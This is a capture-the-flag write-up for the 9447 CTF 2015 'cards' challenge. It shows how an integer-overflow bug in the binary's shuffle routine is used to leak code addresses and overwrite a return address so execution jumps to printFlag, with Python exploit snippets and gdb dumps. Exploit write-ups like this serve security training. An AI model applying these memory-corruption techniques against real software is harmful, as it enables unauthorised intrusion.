@mrexcessive @ WHA and Tim @ WHA
9447 CTF 2015
exploit cards
The problem
We have released a new card game! If you win, you get a flag. 140 points Check it out at cards-6xvx9tsi.9447.plumbing port 9447 64bit C linux program. Pwnable Exploit source and Makefile provided binary provided
The solution
First things first: download binary && file && objdump -d && strings && readelf
$ file ../cards ../cards: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe228ce7ba3b1fc6c14e5fa31a8541be9e110e655, not stripped
See what protection it has:
sudo checksec.sh --file ./cards RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH ./cards
Very protected against code injection. ROP would be only way. Need a leak of program address space.
On the positive side... There is a 'win' function in there.. so if we can get
a) exfil of program address
b) overwrite of return address within program (and possibly canary)
then we can just return to the 'win' function
Setup local server for testing and playing with gdb
echo "Testflag" > flag.txt socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./cards
Setup very basic connect and exorcise pwnserver.py and test
Not sure why... but local server doesn't send second string of prompt.
Have tried ,pty - no difference
Remote server sends both parts
Sending in up to 52 numbers
readCards() They are scanf'd in scanf ("%lld", &a); When you send in 0 it returns current loop index value (0..51) first pass... readCards looks safe - no overwrite
Provided at least 1 number...
if entered N values then size == N
shuffle() for each element in deck (0..size), index -> i we know 1 <= size <= 51 uses absolute value of element -> val we know element value is not zero uses val % size as index to get -> temp replaces val % size entry with deck[(i+1) % size] so next element but final wraps back to 0 then puts the temp value -> deck[(i+1) % size] So... abs(values) %size are used as indeces
There is some sort of value overflow
nc cards-6xvx9tsi.9447.plumbing 9447 Lets play a game! Enter up to 52 cards (0 to stop): 279242712511354367745 0 Here are your cards left: 9223372036854775807 Enter the index of the card to play:
Whether that breaks indexing or the move chooser...
Tim and I had a chat. Tim researched winnability of the core card game. Appears to be unwinnable whatever card values are provided. So we are pretty confident there is no 'win the game' through a valid route.
Because of the code in the shuffle() routine, I think that it is the most likely source of bugs:
void shuffle(long long *deck, int size) { int i; for (i = 0; i < size; i++) { long long val = deck[i]; if (val < 0ll) { val = -val; } long long temp = deck[val % size]; deck[val % size] = deck[(i + 1) % size]; deck[(i + 1) % size] = temp; } }
I'm messing trying to get an exfil. Tim hunting a segfault.
Send in a single big -ve number with a bunch of positive numbers and cards[] array presented is weird
for i in xrange(1,52): v = "%i" % i if i == 51: v = "%i" % - 0xf23456789abcdef01 Send(v + "\n") r = GetResponse() if r <> "": sys.stdout.write(r) sys.stdout.flush() Send("0\n")
Partial success...
Can get code segment exfil by sending in large -ve/+ve numbers... This is NOT under control yet... this is just hitting it with a binary stick.
def PwnServer(): r = GetResponse(expect="stop)") # throw initial response HexPrint(r) for i in xrange(1,53): v = i - 0xffffffffffffffff if i % 2 == 0: v = -v Send("%i\n" % v) r = GetResponse() if r <> "": sys.stdout.write(r) sys.stdout.flush() r = GetResponse(expect="to play:",timeout=0.5) if "left:" in r: drop,r = r.split("left:\n",1) keep,drop = r.split("\nEnter the",1) nums = keep.split(" ") for n in nums: if n <> "": v = int(n) if v <> -0x8000000000000000: print "%16x" % v else: sys.stdout.write("-") # note MINVAL sys.stdout.flush() #nums[1] is the interesting one... return nums # EXFIL on example run gives value 0x7f9a24ce82a0 @ nums[1]
Meanwhile... in parallel in process attached GDB session - to check what we're getting -
gdb-peda$ x/1i 0x7f9a24ce82a0 0x7f9a24ce82a0 <_IO_2_1_stdout_>: xchg DWORD PTR [rax],ebp gdb-peda$ p printFlag $1 = {} 0x7f9a24f10d90 <printFlag> gdb-peda$ print 0x7f9a24ce82a0 - printFlag Argument to arithmetic operation not a number or boolean. gdb-peda$ print 0x7f9a24ce82a0 - print0x7f9a24f10d90 No symbol table is loaded. Use the "file" command. gdb-peda$ print 0x7f9a24ce82a0 - 0x7f9a24f10d90 $2 = 0xffffffffffdd7510 gdb-peda$ print 0x7f9a24f10d90 - 0x7f9a24ce82a0 $3 = 0x228af0 <<--- This is the delta... add it to exfiltrated address
I repeat this a couple of times and get the same delta from printFlag..
Plus.. bonus... the game stays alive after the exfil... so we just need that segfault to mess with...
While I was doing that, Tim has found a segfault:
Sending in:
999999999999999999999999999999999 -99999999999999999999999999999999 222222222222222222222222222222222 -22222222222222222222222222222222 333333333333333333333333333333333 -33333333333333333333333333333333 888888888888888888888888888888888 0
And in gdb that yields :
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7fffe35c8010 --> 0x8000000000000000 RBX: 0x7 RCX: 0x7 RDX: 0x7fffffffffffffff RSI: 0x7 RDI: 0x7fffe35c8010 --> 0x8000000000000000 RBP: 0x7fffe35c8010 --> 0x8000000000000000 RSP: 0x7fffe35c8008 --> 0x7fffffffffffffff RIP: 0x7f787d7dcad7 (<shuffle+71>: repz ret) R8 : 0x7fffe35c8048 --> 0x7fffffffffffffff R9 : 0x7fffe35c8008 --> 0x7fffffffffffffff R10: 0x7 R11: 0x8000000000000000 R12: 0x7f787d7dc8ea (<_start>: xor ebp,ebp) R13: 0x7fffe35c82b0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7f787d7dcacf <shuffle+63>: mov QWORD PTR [r9],rdx 0x7f787d7dcad2 <shuffle+66>: mov QWORD PTR [rax],r11 0x7f787d7dcad5 <shuffle+69>: jne 0x7f787d7dcaa0 <shuffle+16> => 0x7f787d7dcad7 <shuffle+71>: repz ret 0x7f787d7dcad9: nop DWORD PTR [rax+0x0] 0x7f787d7dcae0 <playGame>: push r15 0x7f787d7dcae2 <playGame+2>: push r14 0x7f787d7dcae4 <playGame+4>: push r13 [------------------------------------stack-------------------------------------] 0000| 0x7fffe35c8008 --> 0x7fffffffffffffff 0008| 0x7fffe35c8010 --> 0x8000000000000000 0016| 0x7fffe35c8018 --> 0x7fffffffffffffff 0024| 0x7fffe35c8020 --> 0x8000000000000000 0032| 0x7fffe35c8028 --> 0x7f787d7dce62 (<handleRequests+82>: mov esi,ebx) 0040| 0x7fffe35c8030 --> 0x7fffffffffffffff 0048| 0x7fffe35c8038 --> 0x7fffffffffffffff 0056| 0x7fffe35c8040 --> 0x8000000000000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value
The 0x7ff... and 0x800 are MAXINT64 and MININT64... the truncated values fed in.
So... all we need now, is to replace the critical top of stack value with the calculated address of printFlag from the exfil.
But...
Putting it first yields same fail... and printFlag in wrong place
conti Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7fff7364dc40 --> 0x7fffffffffffffff RBX: 0x7 RCX: 0x7 RDX: 0x8000000000000000 RSI: 0x7 RDI: 0x7fff7364dc40 --> 0x7fffffffffffffff RBP: 0x7fff7364dc40 --> 0x7fffffffffffffff RSP: 0x7fff7364dc38 --> 0x8000000000000000 RIP: 0x7fbf14283ad7 (<shuffle+71>: repz ret) R8 : 0x7fff7364dc78 --> 0x7fffffffffffffff R9 : 0x7fff7364dc38 --> 0x8000000000000000 R10: 0x7 R11: 0x7fffffffffffffff R12: 0x7fbf142838ea (<_start>: xor ebp,ebp) R13: 0x7fff7364dee0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7fbf14283acf: mov QWORD PTR [r9],rdx 0x7fbf14283ad2 : mov QWORD PTR [rax],r11 0x7fbf14283ad5 : jne 0x7fbf14283aa0 <shuffle+16> => 0x7fbf14283ad7 : repz ret 0x7fbf14283ad9: nop DWORD PTR [rax+0x0] 0x7fbf14283ae0 : push r15 0x7fbf14283ae2 : push r14 0x7fbf14283ae4 : push r13 [------------------------------------stack-------------------------------------] 0000| 0x7fff7364dc38 --> 0x8000000000000000 <<- put &printFlag() 0008| 0x7fff7364dc40 --> 0x7fffffffffffffff 0016| 0x7fff7364dc48 --> 0x7fffffffffffffff 0024| 0x7fff7364dc50 --> 0x7fbf14283e62 (<handleRequests+82>: mov esi,ebx) 0032| 0x7fff7364dc58 --> 0x8000000000000000 0040| 0x7fff7364dc60 --> 0x7fffffffffffffff 0048| 0x7fff7364dc68 --> 0x7fbf14283d90 (<printFlag>: push rbx) <<- wrong posn... 0056| 0x7fff7364dc70 --> 0x8000000000000000 [------------------------------------------------------------------------------]
Putting it last similarly bad
Putting it alone nothing
Maybe with 1x giant number after... ? NOPE
before ? NOPE
Negative before ? NOPE
OK so segfault is in shuffle... at return
Oh wait !!!
I got printFlag() running just now... without noticing ... go back through notes and recreate...
Now it's segfaulting on exit from printFlag()
Are we getting the flag out ?
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7 RCX: 0x7fa5745a8620 (<write+16>: cmp rax,0xfffffffffffff001) RDX: 0x7fa5748747a0 --> 0x0 RSI: 0x7fa574873323 --> 0x8747a0000000000a RDI: 0x0 RBP: 0x7fffae4c54b0 --> 0x8000000000000000 RSP: 0x7fffae4c54b0 --> 0x8000000000000000 RIP: 0x7fa574a9be02 (<printFlag+114>: ret) R8 : 0x7fa5748747a0 --> 0x0 R9 : 0x0 R10: 0x22 ('"') R11: 0x246 R12: 0x7fa574a9b8ea (<_start>: xor ebp,ebp) R13: 0x7fffae4c5750 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7fa574a9bdf8 <printFlag+104>: jne 0x7fa574a9be030x7fa574a9bdfa <printFlag+106>: add rsp,0x110 0x7fa574a9be01 <printFlag+113>: pop rbx => 0x7fa574a9be02 <printFlag+114>: ret 0x7fa574a9be03 <printFlag+115>: call 0x7fa574a9b840 <__stack_chk_fail@plt> 0x7fa574a9be08: nop DWORD PTR [rax+rax*1+0x0] 0x7fa574a9be10 <handleRequests>: push rbp 0x7fa574a9be11 <handleRequests+1>: push rbx [------------------------------------stack-------------------------------------] 0000| 0x7fffae4c54b0 --> 0x8000000000000000 0008| 0x7fffae4c54b8 --> 0x7fffffffffffffff 0016| 0x7fffae4c54c0 --> 0x8000000000000000 0024| 0x7fffae4c54c8 --> 0x7fa574a9be62 ( : mov esi,ebx) 0032| 0x7fffae4c54d0 --> 0x7fffffffffffffff 0040| 0x7fffae4c54d8 --> 0x7fffffffffffffff 0048| 0x7fffae4c54e0 --> 0x8000000000000000 0056| 0x7fffae4c54e8 --> 0x7fffffffffffffff [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00007fa574a9be02 in printFlag ()
Yes ... Getting dummy flag locally with this code!
def Pwn_Segfault(jumpto_addr): # make execution go to jumpto_addr .... pwntab = [] if True: pwntab.append( 88888888888888888888888888888888888888 ) pwntab.append(-88888888888888888888888888888888888888 ) pwntab.append( 88888888888888888888888888888888888888 ) pwntab.append(-88888888888888888888888888888888888888 ) pwntab.append( 88888888888888888888888888888888888888 ) pwntab.append(-88888888888888888888888888888888888888 ) pwntab.append( jumpto_addr ) pwntab.append(0) for v in pwntab: Send("%i\n" % v) r = GetResponse() print r r = GetResponse(timeout=2) print r
OK seems that the exfiltrate is breaking it.
Maybe don't need all 52 values there ?
Bit more messing... Works locally with 1x -ve value
OK exfil still happens with no -ve values at all.... locally
But the exploit then fails.
Might be time limit on remote server ?
OK now get back error message:
timeout: the monitored command dumped core
Which is weird ... Remember though... weird is good !
More messing and a more interesting exfil instead of the flag
timeout: the monitored command dumped core /usr/local/bin/ctf_wrapper.sh: line 6: 7278 Segmentation fault timeout 30 $1 $2 *** Connection closed by remote host ***
I think that the initial exfil is breaking it too badly perhaps... Decide to simplify to smallest working block for that part and then rebuild the EIP overwrite.
Now we are getting address of _start() in the exfil, so new offest to printFlag()
OK with PwnExfil(5) get &_start
Got this
Enter up to 52 cards (0 to stop):
88888888888888888888888888888888888888
-88888888888888888888888888888888888888
140173524086160
0
Have a flag:
* Connection closed by remote host * from remote server...!
So... close.... It's in the routine, just not flushing stdout fast enough - before process dies.
So... need to find a way to return to useful code AFTER printFlag()
Ah... maybe jump to the call to printFlag... not printFlag itself ? so xe70 instead of xd90...
e70: 48 8d 3d 62 01 00 00 lea 0x162(%rip),%rdi # fd9 <_IO_stdin_used+0xb9> e77: e8 a4 f9 ff ff callq 820 <puts@plt> e7c: 31 c0 xor %eax,%eax e7e: e8 0d ff ff ff callq d90 <printFlag>
This will perhaps leave the stack and rbp in a better state for a bit longer...
Flag eventually delivered this way
Exploit code can be found here... https://gist.github.com/mrexcessive/2691d6de22b84e4036f3